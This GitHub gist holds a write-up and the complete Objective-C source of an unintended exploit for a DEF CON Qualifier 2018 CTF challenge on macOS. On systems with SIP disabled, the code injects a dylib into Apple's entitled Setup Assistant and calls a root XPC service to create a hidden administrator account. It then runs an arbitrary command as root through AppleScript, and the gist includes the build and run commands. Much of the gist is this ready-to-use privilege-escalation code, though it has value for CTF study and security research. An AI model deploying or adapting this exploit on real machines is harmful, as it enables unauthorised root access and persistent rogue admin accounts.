Skip to content

Instantly share code, notes, and snippets.

@ChiChou
Last active February 2, 2023 21:34
Show Gist options
  • Star 24 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save ChiChou/e3a50f00853b2fbfb1debad46e501121 to your computer and use it in GitHub Desktop.
Save ChiChou/e3a50f00853b2fbfb1debad46e501121 to your computer and use it in GitHub Desktop.
Exploit for IPWnKit: an unintended solution for Defcon Qualifier CTF 2018 that may blow your mind

We did not exploit the kernel extension itself. Instead, we use a less known macOS userspace logical flaw (feature?).

It doesn’t even need to smash one single byte, and the whole exploit is userland only.

In this challenge, SIP has been disabled to load the vulnerable kernel extension.

By default dyld prunes all DYLD_* environment variables, when binary is code signed with entitlement.

https://github.com/opensource-apple/dyld/blob/70f7d34d3a29f29b73b7b57f228cbf95dccf46d8/src/dyld.cpp#L3954

sProcessIsRestricted = processRestricted(mainExecutableMH);
   if ( sProcessIsRestricted ) {
#if SUPPORT_LC_DYLD_ENVIRONMENT
        checkLoadCommandEnvironmentVariables();
#if SUPPORT_VERSIONED_PATHS
        checkVersionedPaths();
#endif
#endif
        pruneEnvironmentVariables(envp, &apple);

But after SIP has been introduced, this behavior can be manually disabled with SIP: https://opensource.apple.com/source/dyld/dyld-519.2.2/src/dyld.cpp.auto.html

	bool usingSIP = (csr_check(CSR_ALLOW_TASK_FOR_PID) != 0);
    uint32_t flags;
	if ( csops(0, CS_OPS_STATUS, &flags, sizeof(flags)) != -1 ) {
		// On OS X CS_RESTRICT means the program was signed with entitlements
		if ( ((flags & CS_RESTRICT) == CS_RESTRICT) && usingSIP ) {
			gLinkContext.processIsRestricted = true;
		}

The most common IPC mechanism on macOS is XPC.

Most XPC services rely on codesign and entitlement validation to check if the caller is whitelisted to perform certain restricted operations.

Turning off SIP is to open pandora's box.

So the exploit is extremely easy: Use DYLD_INSERT_LIBRARIES to inject an apple signed, entitled binary, then talk to privileged XPC services and profit.

In the exploit, we chose /System/Library/CoreServices/Setup Assistant.app/Contents/MacOS/Setup Assistant to borrow its com.apple.private.mbsystemadministration entitlement, so we are able to communicate with com.apple.mbsystemadministration.

This service runs as root:

~ ps aux | grep systemadministration
root              1763   0.0  0.2  4383484  28312   ??  Ss    3:48PM   0:00.14 /System/Library/CoreServices/Setup Assistant.app/Contents/Resources/mbsystemadministration

The exported XPC protocol has a method to create arbitrary user with administrator privilege (sudoer):

@protocol MBSAProtocol <NSObject>
- (void)createUserWithInfo:(NSDictionary *)arg1
          completionBlock:(void (^)(unsigned int))arg2;
@end

Now use the administrator account to get root.

Here's apple's response for the trick:

After examining your report we do not see any actual security implications. SIP is enabled by default and disabling it puts a user at risk. You can find additional information here -> https://support.apple.com/en-us/HT204899

/*
clang -framework Foundation \
-framework Security \
-framework ServiceManagement \
-dynamiclib lpe.m \
-o evil.dylib
CMD="cat /var/root/flag" DYLD_INSERT_LIBRARIES=evil.dylib \
"/System/Library/CoreServices/Setup Assistant.app/Contents/MacOS/Setup Assistant"
*/
#import <Foundation/Foundation.h>
#import <Security/Authorization.h>
#import <ServiceManagement/ServiceManagement.h>
#import <xpc/xpc.h>
@protocol MBSAProtocol <NSObject>
- (void)createUserWithInfo:(NSDictionary *)arg1
completionBlock:(void (^)(unsigned int))arg2;
@end
#define kUserName "wtf"
#define kPassword "this_is_so_complicated"
__attribute__((constructor)) void run() {
NSLog(@"ready");
@autoreleasepool {
NSString *kXPCServiceName = @"com.apple.mbsystemadministration";
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:kXPCServiceName
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(MBSAProtocol)];
conn.invalidationHandler = ^{
NSLog(@"Fatal: unknown error");
exit(-1);
};
[conn resume];
id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {
NSLog(@"Fatal: %@", proxyError);
exit(-1);
}];
NSDictionary *info = @{
@"kUserName" : @kUserName,
@"kUserFullName" : @kUserName,
@"kHint" : @"ourhardworkbythesewordsguardedpleasedontsteal",
@"kPassword" : @kPassword,
@"kAdministrator" : @1,
};
dispatch_semaphore_t wait_for = dispatch_semaphore_create(0);
[remote createUserWithInfo:info
completionBlock:^(unsigned int state) {
NSLog(@"result: %d", state);
dispatch_semaphore_signal(wait_for);
}];
dispatch_semaphore_wait(
wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull * NSEC_PER_SEC));
NSLog(@"Successfully created user, now run command as root");
const char *env = getenv("CMD");
NSString *cmd = [[NSString stringWithFormat:@"%s", env ? env : "id"]
stringByReplacingOccurrencesOfString:@"\""
withString:@"\\\""];
// AuthorizationExecuteWithPrivileges is deprecated!
NSDictionary *error = NULL;
NSString *script = [NSString
stringWithFormat:@"do shell script \"%@\" "
"user name \"" kUserName "\" password \"" kPassword
"\" with administrator privileges",
cmd];
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:script];
NSAppleEventDescriptor *result = [appleScript executeAndReturnError:&error];
if (result) {
NSLog(@"success!\n%@", [result stringValue]);
} else {
NSLog(@"failure: %@", error);
}
// todo: cleanup, remove the account
}
// kill the host
exit(0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment